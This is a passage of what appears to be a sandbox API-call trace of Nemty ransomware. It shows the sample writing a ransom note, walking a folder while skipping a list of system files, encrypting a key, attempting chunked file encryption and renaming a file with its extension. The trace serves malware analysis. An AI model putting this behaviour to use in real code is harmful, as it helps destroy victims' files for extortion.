dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0144.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0144.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0144.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0144.146] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0144.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0144.146] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.146] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0144.147] CloseHandle (hObject=0x1ec) returned 1 [0144.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0144.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0144.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0144.147] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98fe5b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x98fe5b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0144.148] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0144.148] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98fe5b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x98fe5b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.148] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0144.148] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0144.148] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1369, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="16-on-black.gif", cAlternateFileName="")) returned 1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2=".") returned 1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="..") returned 1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="...") returned 1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="windows") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="$RECYCLE.BIN") returned 1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="rsa") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="NTDETECT.COM") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="ntldr") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="MSDOS.SYS") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="IO.SYS") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="boot.ini") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="boot.ini") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="AUTOEXEC.BAT") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="ntuser.dat") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="desktop.ini") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="CONFIG.SYS") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="RECYCLER") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="BOOTSECT.BAK") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="bootmgr") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="programdata") returned -1 [0144.148] lstrcmpiW (lpString1="16-on-black.gif", lpString2="appdata") returned -1 [0144.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16-on-black.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0144.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16-on-black.gif", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16-on-black.gif", lpUsedDefaultChar=0x0) returned 15 [0144.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16-on-black.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0144.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16-on-black.gif", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16-on-black.gif", lpUsedDefaultChar=0x0) returned 15 [0144.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16-on-black.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0144.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16-on-black.gif", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16-on-black.gif", lpUsedDefaultChar=0x0) returned 15 [0144.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16-on-black.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0144.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16-on-black.gif", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16-on-black.gif", lpUsedDefaultChar=0x0) returned 15 [0144.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0144.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0144.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0144.149] Sleep (dwMilliseconds=0x5) [0144.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9924710, dwHighDateTime=0x1d561e8)) [0144.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9924710, dwHighDateTime=0x1d561e8)) [0144.158] GetLastError () returned 0xb7 [0144.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0144.158] GetLastError () returned 0xb7 [0144.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0144.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.158] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0144.158] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0144.158] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0144.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0144.158] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="oDCHRUHFDv1C/fgMhxmyPrHt5GSl14XUMruc4e2BrJHgBgRXeehC92IEbPLRGQaZ\r\n3a6vvjnsu9vCOxHVDUNZ4rUKhkn6RlANU7MVsABt4Ar0xhD4w5KcwQZyNEntoS68\r\nhJ+JouzWRViUT3Bn7clnUz8vrD7Vx9XLrNoZxLkcnUGN2LEYfjP2+czN1Fvo2PWF\r\nszK+Co47b30NGvXGhCyoeKTtkM73WE7NqJgJ7AIaivgtpBLdmw0LE8fPuTt0zkYv\r\n2+Sf6Fohbd5oAa6hueVA2axM2UAsl2WeqNDYHlmqK55FFTyFwlSL8XceWb3frw7W\r\nMt1fKu8LqsrE1RFJm/2uKw==\r\n", pcchString=0x653e91c) returned 1 [0144.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0144.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0144.158] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0144.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0144.158] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0144.158] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\16-on-black.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\16-on-black.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.167] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0144.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0144.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.176] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.176] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.195] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.195] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.255] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0144.276] CloseHandle (hObject=0xffffffff) returned 0 [0144.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0144.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0144.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0144.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0144.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.276] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\16-on-black.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\16-on-black.gif"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\16-on-black.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\16-on-black.gif._nemty_kgobjgd_")) returned 0 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0144.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: 